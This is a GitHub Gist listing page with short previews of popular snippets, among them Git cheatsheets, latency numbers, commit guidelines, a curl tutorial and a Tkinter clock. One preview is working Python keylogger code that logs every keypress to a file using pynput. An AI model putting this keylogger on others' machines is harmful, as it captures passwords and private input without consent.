Skip to content

Instantly share code, notes, and snippets.

@hofmannsven
hofmannsven / README.md
Last active May 3, 2024 15:30
Git CLI Cheatsheet
@jboner
jboner / latency.txt
Last active May 3, 2024 15:17
Latency Numbers Every Programmer Should Know
Latency Comparison Numbers (~2012)
----------------------------------
L1 cache reference 0.5 ns
Branch mispredict 5 ns
L2 cache reference 7 ns 14x L1 cache
Mutex lock/unlock 25 ns
Main memory reference 100 ns 20x L2 cache, 200x L1 cache
Compress 1K bytes with Zippy 3,000 ns 3 us
Send 1K bytes over 1 Gbps network 10,000 ns 10 us
Read 4K randomly from SSD* 150,000 ns 150 us ~1GB/sec SSD
@robertpainsi
robertpainsi / commit-message-guidelines.md
Last active May 3, 2024 11:43
Commit message guidelines

Commit Message Guidelines

Short (72 chars or less) summary

More detailed explanatory text. Wrap it to 72 characters. The blank
line separating the summary from the body is critical (unless you omit
the body entirely).

Write your commit message in the imperative: "Fix bug" and not "Fixed
bug" or "Fixes bug." This convention matches up with commit messages
@cgcardona
cgcardona / gist:772b5e040e26cb71a8d5
Last active April 3, 2024 20:51
Get the RGBa value for each pixel in an image via <canvas>
$(document).ready(function (){
// Get the image and canvas nodes
var img = $('#original_image')[0];
var canvas = $('#original_canvas')[0];
// confirm that the image has loaded
img.addEventListener("load", function() {
// set the canvas dimensions
canvas.width = img.width;
canvas.height = img.height;
@btoone
btoone / curl.md
Last active April 2, 2024 20:18
A curl tutorial using GitHub's API

Introduction

An introduction to curl using GitHub's API.

The Basics

Makes a basic GET request to the specifed URI

curl https://api.github.com/users/caspyin
@dsernst
dsernst / comparing-git-add-all.md
Last active January 25, 2024 17:00
Compare `git add .` vs `git add -A`

git add . vs git add -A

Both of these will stage all files, including new files (which git commit -a misses) and deleted files.

The difference is that git add -A also stages files in higher directories that still belong to the same git repository. Here's an example:

/my-repo
  .git/
 subfolder/
@ramalho
ramalho / relogio.py
Last active April 17, 2022 22:21
Um relógio bem simples feito em Python com Tkinter. Vídeo de demonstração: http://www.youtube.com/watch?v=xCiPshN9nOs
#!/usr/bin/env python3
import tkinter
from time import strftime
def tic():
rel['text'] = strftime('%H:%M:%S')
def tac():
tic()
rel.after(1000, tac)
@brentvollebregt
brentvollebregt / keylogger.pyw
Created April 11, 2017 02:48
A Python 3 keylogger using the pynput module
# From: https://github.com/moses-palmer/pynput
from pynput.keyboard import Key, Listener
import logging
log_dir = ""
logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='["%(asctime)s", %(message)s]')
def on_press(key):
logging.info('"{0}"'.format(key))
@mstijak
mstijak / zip.bat
Last active January 12, 2020 20:02
7z update archive + remove deleted files
7z u Scripts.zip Scripts\*.sql -uq0
#!/bin/bash
clear
while true; do
read -p 'C:\>' cmd
case $cmd in
ver)
echo -e "\nMS-DOS Version 6.22\n\n" ;;